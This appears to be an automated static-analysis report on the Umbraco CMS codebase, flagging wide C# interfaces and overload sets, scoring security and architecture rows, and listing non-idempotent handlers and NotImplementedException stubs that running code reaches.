`IContentTypeBaseService<TItem>` declares 40 members: `Get`, `Get`, `GetAsync`, `Get`, `Count`, `HasContentNodes`, `GetAll`, `GetMany`, `GetMany`, `GetDescendants`, `GetComposedOf`, `GetChildren`, `GetChildren`, `HasChildren`, `HasChildren`, `CreateAsync`, `UpdateAsync`, `Delete`, `DeleteAsync`, `Delete`, `ValidateComposition`, `HasContainerInPath`, `HasContainerInPath`, `CreateContainer`, `SaveContainer`, `GetContainer`, `GetContainer`, `GetContainers`, `GetContainers`, `GetContainers`, `DeleteContainer`, `RenameContainer`, `CopyAsync`, `MoveAsync`, `GetAllAllowedAsRootAsync`, `GetAllAllowedInLibraryAsync`, `GetAllAllowedInLibraryAsync`, `GetAllowedChildrenAsync`, `GetAllowedChildrenAsync`, `GetAllowedParentKeysAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 40 declarations carry 28 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 28 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IContentTypeBaseService.cs:22
`IEntityService` declares 55 members: `Get`, `Get`, `Get`, `Get`, `Get`, `Get`, `Exists`, `Exists`, `Exists`, `Exists`, `Exists`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetRootEntities`, `GetParent`, `GetParent`, `GetSiblings`, `GetTrashedSiblings`, `GetChildren`, `GetChildren`, `GetChildren`, `GetDescendants`, `GetDescendants`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedTrashedChildren`, `GetPagedTrashedChildren`, `GetPagedDescendants`, `GetPagedDescendants`, and 15 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 55 declarations carry 19 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 19 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IEntityService.cs:10
`IEntityXmlSerializer` declares 16 members under just 1 distinct name(s): `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 1 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/IEntityXmlSerializer.cs:9
`IMediaService` declares 45 members: `CountNotTrashed`, `Count`, `CountChildren`, `CountDescendants`, `GetByIds`, `GetByIds`, `CreateMedia`, `CreateMedia`, `CreateMedia`, `GetById`, `GetPagedChildren`, `GetPagedDescendants`, `GetPagedOfType`, `GetPagedOfTypes`, `GetRootMedia`, `GetPagedMediaInRecycleBin`, `Move`, `Move`, `MoveToRecycleBin`, `EmptyRecycleBin`, `RecycleBinSmells`, `DeleteMediaOfType`, `DeleteMediaOfTypes`, `Delete`, `Save`, `GetByLevel`, `GetVersion`, `GetVersions`, `HasChildren`, `DeleteVersions`, `DeleteVersion`, `GetMediaByPath`, `GetAncestors`, `GetAncestors`, `GetParent`, `GetParent`, `Sort`, `SortChildren`, `CreateMediaWithIdentity`, `CreateMediaWithIdentity`, and 5 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 45 declarations carry 38 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 38 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IMediaService.cs:9
`IMemberService` declares 25 members: `GetAll`, `GetAll`, `FilterAsync`, `CreateMember`, `CreateMember`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `Save`, `Save`, `Count`, `Exists`, `GetById`, `GetMembersByEmail`, `GetMembersByMemberType`, `GetMembersByMemberType`, `GetMembersByGroup`, `GetAllMembers`, `GetByKeysAsync`, `Delete`, `DeleteMembersOfType`, `FindMembersByDisplayName`, `UpdateLoginPropertiesAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 25 declarations carry 17 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 17 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IMemberService.cs:10
`IMembershipRoleService<T>` declares 20 members under just 11 distinct name(s): `AddRole`, `GetAllRoles`, `GetAllRoles`, `GetAllRoles`, `GetAllRolesIds`, `GetAllRolesIds`, `GetAllRolesIds`, `GetMembersInRole`, `FindMembersInRole`, `DeleteRole`, `AssignRole`, `AssignRoles`, `DissociateRole`, `DissociateRoles`, `AssignRole`, `AssignRoles`, `DissociateRole`, `DissociateRoles`, `ReplaceRoles`, `ReplaceRoles`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 20 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 20 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/IMembershipRoleService.cs:11
`IPublishableContentService<TContent>` declares 17 members: `GetByIds`, `Save`, `Delete`, `DeleteOfTypes`, `GetContentScheduleByContentId`, `GetContentScheduleByContentId`, `GetContentSchedulesByKeys`, `PersistContentSchedule`, `Publish`, `SaveAndPublish`, `Unpublish`, `GetVersions`, `GetVersionsSlim`, `GetVersionIds`, `GetVersion`, `Rollback`, `PerformScheduledPublish`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 17 declarations carry 16 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 16 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IPublishableContentService.cs:5
`IRedirectUrlService` declares 18 members under just 12 distinct name(s): `Register`, `RegisterWithStatus`, `DeleteContentRedirectUrls`, `DeleteContentRedirectUrlsWithStatus`, `Delete`, `DeleteWithStatus`, `Delete`, `DeleteWithStatus`, `DeleteAll`, `GetMostRecentRedirectUrl`, `GetMostRecentRedirectUrl`, `GetMostRecentRedirectUrlAsync`, `GetContentRedirectUrls`, `GetAllRedirectUrls`, `GetAllRedirectUrls`, `GetAllRedirectUrls`, `SearchRedirectUrls`, `SearchRedirectUrls`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 18 separate responsibilities: a caller binds to 12 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 18 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/IRedirectUrlService.cs:9
`IRelationService` declares 55 members: `GetById`, `GetRelationTypeById`, `GetRelationTypeById`, `GetRelationTypeByAlias`, `GetAllRelations`, `GetAllRelationsByRelationType`, `GetAllRelationsByRelationType`, `GetAllRelationTypes`, `GetByParentId`, `GetByParentId`, `GetByParent`, `GetByParent`, `GetByChildId`, `GetByChildId`, `GetByChild`, `GetByChild`, `GetByParentOrChildId`, `GetByParentOrChildId`, `GetByParentAndChildId`, `GetByRelationTypeName`, `GetByRelationTypeAlias`, `GetByRelationTypeId`, `GetPagedByRelationTypeId`, `GetPagedByRelationTypeKeyAsync`, `GetChildEntityFromRelation`, `GetParentEntityFromRelation`, `GetEntitiesFromRelation`, `GetChildEntitiesFromRelations`, `GetParentEntitiesFromRelations`, `GetPagedParentEntitiesByChildId`, `GetPagedChildEntitiesByParentId`, `GetEntitiesFromRelations`, `Relate`, `Relate`, `Relate`, `Relate`, `HasRelations`, `IsRelated`, `AreRelated`, `AreRelated`, and 15 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 55 declarations carry 39 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 39 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IRelationService.cs:14
`ITagService` declares 21 members: `GetTaggedEntityById`, `GetTaggedEntityByKey`, `GetTaggedContentByTagGroup`, `GetTaggedContentByTag`, `GetTaggedMediaByTagGroup`, `GetTaggedMediaByTag`, `GetTaggedMembersByTagGroup`, `GetTaggedMembersByTag`, `GetTaggedElementsByTagGroup`, `GetTaggedElementsByTag`, `GetAllTags`, `GetAllAsync`, `GetByQueryAsync`, `GetAllContentTags`, `GetAllMediaTags`, `GetAllMemberTags`, `GetAllElementTags`, `GetTagsForProperty`, `GetTagsForEntity`, `GetTagsForProperty`, `GetTagsForEntity`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 21 declarations carry 19 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 19 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/ITagService.cs:15
`ITemplateService` declares 17 members under just 11 distinct name(s): `GetAllAsync`, `GetAllAsync`, `GetChildrenAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetDescendantsAsync`, `UpdateAsync`, `CreateForContentTypeAsync`, `CreateForContentTypeAsync`, `CreateAsync`, `CreateAsync`, `DeleteAsync`, `DeleteAsync`, `GetFileContentStreamAsync`, `SetFileContentAsync`, `GetFileSizeAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 17 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 17 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/ITemplateService.cs:9
`IUserGroupService` declares 16 members under just 9 distinct name(s): `GetAllAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `FilterAsync`, `CreateAsync`, `UpdateAsync`, `DeleteAsync`, `DeleteAsync`, `UpdateUserGroupsOnUsersAsync`, `UpdateUserGroupsOnUsersAsync`, `AddUsersToUserGroupAsync`, `RemoveUsersFromUserGroupAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 9 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/IUserGroupService.cs:10
`IUserService` declares 53 members: `CreateLoginSession`, `ValidateLoginSession`, `ClearLoginSession`, `ClearLoginSessions`, `GetUserStates`, `CreateAsync`, `InviteAsync`, `VerifyInviteAsync`, `CreateInitialPasswordAsync`, `UpdateAsync`, `UpdateProfileAsync`, `SetAvatarAsync`, `DeleteAsync`, `DeleteAsync`, `DisableAsync`, `EnableAsync`, `UnlockAsync`, `ChangePasswordAsync`, `ClearAvatarAsync`, `GetLinkedLoginsAsync`, `GetAllAsync`, `FilterAsync`, `GetAll`, `GetAll`, `Delete`, `GetProfileById`, `GetProfileByUserName`, `GetAsync`, `GetAsync`, `GetUserById`, `GetUsersById`, `DeleteSectionFromAllUserGroups`, `GetPermissionsAsync`, `GetMediaPermissionsAsync`, `GetDocumentPermissionsAsync`, `GetElementPermissionsAsync`, `GetPermissions`, `GetPermissions`, `GetPermissionsForPath`, `GetPermissionsForPath`, and 13 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 53 declarations carry 47 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 47 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IUserService.cs:13
`IColumnOptionBuilder<TNext, TNextFk>` declares 18 members under just 10 distinct name(s): `WithDefault`, `WithDefaultValue`, `Identity`, `Indexed`, `Indexed`, `PrimaryKey`, `PrimaryKey`, `Nullable`, `NotNullable`, `Unique`, `Unique`, `ForeignKey`, `ForeignKey`, `ForeignKey`, `ForeignKey`, `ReferencedBy`, `ReferencedBy`, `ReferencedBy`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 18 separate responsibilities: a caller binds to 10 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 18 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Infrastructure/Migrations/Expressions/Common/IColumnOptionBuilder.cs:8
`IColumnTypeBuilder<TNext>` declares 25 members: `AsAnsiString`, `AsAnsiString`, `AsBinary`, `AsBinary`, `AsBoolean`, `AsByte`, `AsCurrency`, `AsDate`, `AsDateTime`, `AsDecimal`, `AsDecimal`, `AsDouble`, `AsGuid`, `AsFixedLengthString`, `AsFixedLengthAnsiString`, `AsFloat`, `AsInt16`, `AsInt32`, `AsInt64`, `AsString`, `AsString`, `AsTime`, `AsXml`, `AsXml`, `AsCustom`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 25 declarations carry 20 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 20 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Infrastructure/Migrations/Expressions/Common/IColumnTypeBuilder.cs:6
`ICreateBuilder` declares 16 members under just 8 distinct name(s): `Table`, `KeysAndIndexes`, `KeysAndIndexes`, `Table`, `Column`, `ForeignKey`, `ForeignKey`, `Index`, `Index`, `PrimaryKey`, `PrimaryKey`, `PrimaryKey`, `PrimaryKey`, `UniqueConstraint`, `UniqueConstraint`, `Constraint`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 8 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Infrastructure/Migrations/Expressions/Create/ICreateBuilder.cs:13
`IDatabaseProviderMetadata` declares 16 members: `Id`, `SortOrder`, `DisplayName`, `DefaultDatabaseName`, `ProviderName`, `SupportsQuickInstall`, `IsAvailable`, `RequiresServer`, `ServerPlaceholder`, `RequiresCredentials`, `SupportsIntegratedAuthentication`, `SupportsTrustServerCertificate`, `RequiresConnectionTest`, `ForceCreateDatabase`, `CanRecognizeConnectionString`, `GenerateConnectionString`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Infrastructure/Persistence/IDatabaseProviderMetadata.cs:9
`ISqlSyntaxProvider` declares 84 members: `Length`, `Substring`, `ProviderName`, `CreateTable`, `DropTable`, `AddColumn`, `DropColumn`, `AlterColumn`, `RenameColumn`, `RenameTable`, `CreateSchema`, `AlterSchema`, `DropSchema`, `CreateIndex`, `DropIndex`, `InsertData`, `UpdateData`, `DeleteData`, `TruncateTable`, `CreateConstraint`, `DeleteConstraint`, `DeleteDefaultConstraint`, `AliasRegex`, `ConvertIntegerToOrderableString`, `ConvertDateToOrderableString`, `ConvertDecimalToOrderableString`, `ConvertUniqueIdentifierToString`, `ConvertIntegerToBoolean`, `DefaultIsolationLevel`, `DbProvider`, `ScalarMappers`, `GetUpdatedDatabaseType`, `EscapeString`, `GetWildcardPlaceholder`, `GetWildcardConcat`, `GetStringColumnEqualComparison`, `GetStringColumnWildcardComparison`, `GetConcat`, `GetColumn`, `GetQuotedTableName`, and 44 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 84 declarations carry 76 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 76 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Infrastructure/Persistence/SqlSyntax/ISqlSyntaxProvider.cs:15
`IPublishedContentQuery` declares 21 members under just 5 distinct name(s): `Content`, `Content`, `Content`, `Content`, `Content`, `Content`, `Content`, `ContentAtRoot`, `Media`, `Media`, `Media`, `Media`, `Media`, `Media`, `Media`, `MediaAtRoot`, `Search`, `Search`, `Search`, `Search`, `Search`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 21 separate responsibilities: a caller binds to 5 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 21 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Infrastructure/IPublishedContentQuery.cs:9
`IScope` declares 16 members under just 12 distinct name(s): `Database`, `SqlContext`, `Messages`, `Events`, `Notifications`, `RepositoryCacheMode`, `IsolatedCaches`, `Complete`, `ReadLock`, `WriteLock`, `WriteLock`, `ReadLock`, `EagerWriteLock`, `EagerWriteLock`, `EagerReadLock`, `EagerReadLock`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 12 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Infrastructure/Scoping/LegacyIScope.cs:18
`IUmbracoUserManager<TUser>` declares 41 members: `GetUserIdAsync`, `GetUserAsync`, `GetUserId`, `GetLoginsAsync`, `DeleteAsync`, `FindByLoginAsync`, `FindByIdAsync`, `GeneratePasswordResetTokenAsync`, `ChangePasswordWithResetAsync`, `ConfirmEmailAsync`, `FindByEmailAsync`, `ResetPasswordAsync`, `IsLockedOutAsync`, `SetLockoutEndDateAsync`, `IsEmailConfirmedAsync`, `UpdateAsync`, `VerifyUserTokenAsync`, `AddPasswordAsync`, `CheckPasswordAsync`, `ChangePasswordAsync`, `ValidateSessionIdAsync`, `CreateAsync`, `GetRolesAsync`, `RemoveFromRolesAsync`, `AddToRolesAsync`, `CreateAsync`, `GeneratePassword`, `ValidatePasswordAsync`, `GenerateEmailConfirmationTokenAsync`, `FindByNameAsync`, `AccessFailedAsync`, `GetTwoFactorEnabledAsync`, `GetValidTwoFactorProvidersAsync`, `VerifyTwoFactorTokenAsync`, `AddLoginAsync`, `RemoveLoginAsync`, `ResetAccessFailedCountAsync`, `GenerateTwoFactorTokenAsync`, `GetEmailAsync`, `GetPhoneNumberAsync`, and 1 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 41 declarations carry 40 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 40 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Infrastructure/Security/IUmbracoUserManager.cs:10
What to do
Split fat interfaces into focused role-interfaces so clients depend only on what they use.
Where the width is an overload set rather than separate responsibilities, collapse the overloads instead — segregating those relieves no caller.
Other · Architecture — Whether feature slices stay independent (no direct cross-slice references) — the discipline that makes vertical-slice architecture pay off.
Method: Roslyn scan (vertical-slice gated): feature slices resolved from namespaces (.Features.*, .Slices.*) or project names; cross-slice type references detected. Deterministic, traceable.
Do you agree with this assessment?
AX8 · Test isolation10.0 / 10Exemplary✓ Tool-verified
Other · Architecture — Whether production projects stay free of references to test projects — tests may depend on production, never the reverse.
Method: Csproj graph: each production project checked for references to test projects (identified by test-framework presence, not name). Zero violations is clean. Deterministic.
Do you agree with this assessment?
C1 · Data Protection6.5 / 10Adequate✓ Tool-verified
Other · Security — Whether sensitive data is encrypted at rest and in transit and keys are vaulted.
Method: Roslyn plus filesystem scan: encryption presence (EF ColumnEncryption, key-vault references, HTTPS enforcement) and key-derivation KDF detection. Deterministic.
What to do
Strengthen data-at-rest protection: vault your keys (Azure Key Vault / AWS KMS / IDataProtector key ring) and encrypt the most sensitive columns (EF HasConversion encryption or provider-native column encryption) — partial coverage still leaves gaps.
Other · Security — Whether access is authorized by default — a framework authorization attribute/decorator or policy, or imperative guard methods (throw-on-violation) called from handlers.
Method: Roslyn scan: [Authorize] usage and authorization policies, plus imperative throw-on-violation guard methods detected via syntax. Deterministic.
Do you agree with this assessment?
C3 · Audit Trail7.5 / 10Strong✓ Tool-verified
Other · Security — Whether changes to sensitive data are recorded (who, what, when) for compliance + incident response.
An audit mechanism is present, but the trail is not yet complete — missing: an EF SaveChanges interceptor (or equivalent write-side hook, e.g. an event-store append every change flows through), [Audited] per-entity coverage.
What to do
Back the audit convention with a structural mechanism: an EF SaveChanges interceptor (or equivalent) writing every sensitive change to an immutable audit log, and apply [Audited] to the entities that need a who-changed-what trail.
Do you agree with this assessment?
C4 · Data Retention10.0 / 10Exemplary✓ Tool-verified
Other · Security — Whether data has a defined lifetime — retention periods, TTLs, cleanup jobs (storage limitation).
Method: Roslyn scan: retention/TTL configuration presence in schema; CascadeDelete detected but not scored as retention control. Deterministic, gated by PII presence.
Other · Readiness — Whether retry-prone mutations (command handlers + message/event consumers) are idempotent so an at-least-once redelivery or client retry doesn't double-apply the effect — heuristic at-risk detection confirmed by language model, advisory.
Method: Roslyn heuristic (any mutation, ungated): command handlers and message/event consumers that mutate persistent state without a visible idempotency guard (exists/dedup check, upsert, idempotency-key/inbox, conditional/versioned write, fixed-value set) flagged as at-risk; each at-risk candidate then confirmed or cleared by a language model as genuinely non-idempotent versus naturally-idempotent. Advisory without a model (heuristic-only, degraded), per-candidate judged with one.
Coverage: Population: retry-prone mutations — command handlers (CQRS write side) + message/event consumers (IConsumer/I*EventHandler) — that mutate persistent state; runs on any repo with mutations, not only event-driven ones. The at-risk subset (no obvious guard) is a HEURISTIC candidate set, each then LLM-JUDGED non-idempotent vs safe; a handler outside those conventions, or a guard the LLM can't confirm, is bounded by the sample. Degrades to heuristic-only when no model is configured.
`Events.INotificationAsyncHandler.HandleAsync` mutates persistent state (a repository write one hop away, in RelateOnCopyNotificationHandler.HandleAsync) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write. — src/Umbraco.Core/Events/INotificationAsyncHandler.cs:33
`NotificationHandlers.FileUploadContentCopiedOrScaffoldedNotificationHandler.Handle` mutates persistent state (an event publish one hop away, in ContentService.SaveBlueprint) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write. — src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentCopiedOrScaffoldedNotificationHandler.cs:52
`Handlers.RevokeMemberAuthenticationTokensNotificationHandler.HandleAsync` mutates persistent state (a repository write one hop away, in RevokeMemberAuthenticationTokensNotificationHandler.RevokeTokensAsync) with no idempotency guard, and the model confirms a re-run would double-apply it. A retry or at-least-once redelivery means it can run twice — add an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write. — src/Umbraco.Cms.Api.Delivery/Handlers/RevokeMemberAuthenticationTokensNotificationHandler.cs:54
What to do
Make retry-prone mutations idempotent — guard each write with an exists/dedup check, an upsert, an idempotency-key/inbox, or a versioned write, so a re-run doesn't double-apply.
Other · Code Health — Unreviewed-generation residue: shipped members still throwing NotImplementedException, and placeholder string literals left in non-test, non-generated code. Scored as a quality signature, never as a claim about authorship.
Method: Roslyn syntax scan: NotImplementedException throws and placeholder string literals in non-test, non-generated shipped code. Deterministic, code-shape signature.
A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface. (×40) — src/Umbraco.Core/Dictionary/ICultureDictionaryFactory.cs:26, src/Umbraco.Core/Models/ContentSchedule.cs:85, src/Umbraco.Core/Models/ContentScheduleCollection.cs:319, …
What to do
Finish or delete NotImplementedException stubs and replace placeholder literals before shipping.
Other · Code Health — Unfinished work detected by code SHAPE, not keywords: members that only throw a "not implemented" exception, methods that take inputs and return a constant, async methods that never await, dead `if (false)` / `#if false` branches, and skeleton types most of whose members are holes. A real, objective slice of technical debt.
Method: Roslyn syntax scan: incompleteness by code shape (constant-returning methods, async-never-await, #if false branches, guards that return what the code already falls through to, tests an earlier guard already decided, comparisons against NaN, skeleton types), not keyword-gated. Deterministic, code-shape heuristic.
`CreateDocumentTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/DocumentType/ConfigurationDocumentTypeController.cs:39 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:25
`CreateMemberTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MemberType/ConfigurationMemberTypeController.cs:41 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:32
`CreateMediaTypeConfigurationResponseModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MediaType/ConfigurationMediaTypeController.cs:43 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IConfigurationPresentationFactory.cs:45
`CreateUpdateRequestModelAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Patchers/DocumentPatcher.cs:65 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IDocumentEditingPresentationFactory.cs:34
`MapPatchModel` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/Document/PatchDocumentController.cs:55 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IDocumentEditingPresentationFactory.cs:43
`Create` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/MemberType/ExportMemberTypeController.cs:52 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IUdtFileContentFactory.cs:21
`CreateUpdateProfileModelAsync` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Controllers/User/Current/UpdateCurrentUserProfileController.cs:57 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Factories/IUserPresentationFactory.cs:38
`RootUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:53 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:43
`ChildUserAccessEntities` is a shipped member whose body only throws — and it is REACHED: src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs:68 references it. This is not dead surface that can be deleted — anything taking that path throws at runtime. Implement the member, or remove the code that reaches it. — src/Umbraco.Cms.Api.Management/Services/Entities/IUserStartNodeEntitiesService.cs:91
